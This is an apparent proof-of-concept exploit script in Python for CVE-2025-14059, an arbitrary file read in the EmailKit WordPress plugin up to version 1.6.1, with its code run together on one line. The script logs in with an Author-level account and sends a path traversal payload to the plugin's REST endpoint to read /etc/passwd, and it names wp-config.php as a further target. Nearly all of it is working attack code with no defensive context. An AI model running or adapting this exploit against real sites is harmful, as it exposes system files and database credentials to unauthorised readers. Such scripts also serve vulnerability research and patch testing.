CVE-2025-14059

import requests import json # CVE-2025-14059 PoC - EmailKit Arbitrary File Read # Target: WordPress site with EmailKit plugin <= 1.6.1 target_url = "http://target-wordpress-site.com" # Authentication - Requires Author-level user credentials username = "attacker_username" password = "attacker_password" # Login to get authentication cookie login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } session = requests.Session() login_response = session.post(login_url, data=login_data) # Check if login was successful if "wordpress_logged_in" not in str(session.cookies): print("[-] Login failed") exit(1) print("[+] Login successful") # Exploit the path traversal vulnerability # Target file: /etc/passwd or wp-config.php api_url = f"{target_url}/wp-json/emailkit/v1/create_template" # Path traversal payload to read /etc/passwd payload = { "emailkit-editor-template": "../../../../etc/passwd" } headers = { "Content-Type": "application/json", "X-WP-Nonce": "your-wp-nonce" # May need to fetch from page source } # Send exploit request response = session.post(api_url, json=payload, headers=headers) if response.status_code == 200: print("[+] File read successful") print("=" * 50) print(response.text) print("=" * 50) else: print(f"[-] Exploit failed with status code: {response.status_code}") print(response.text)

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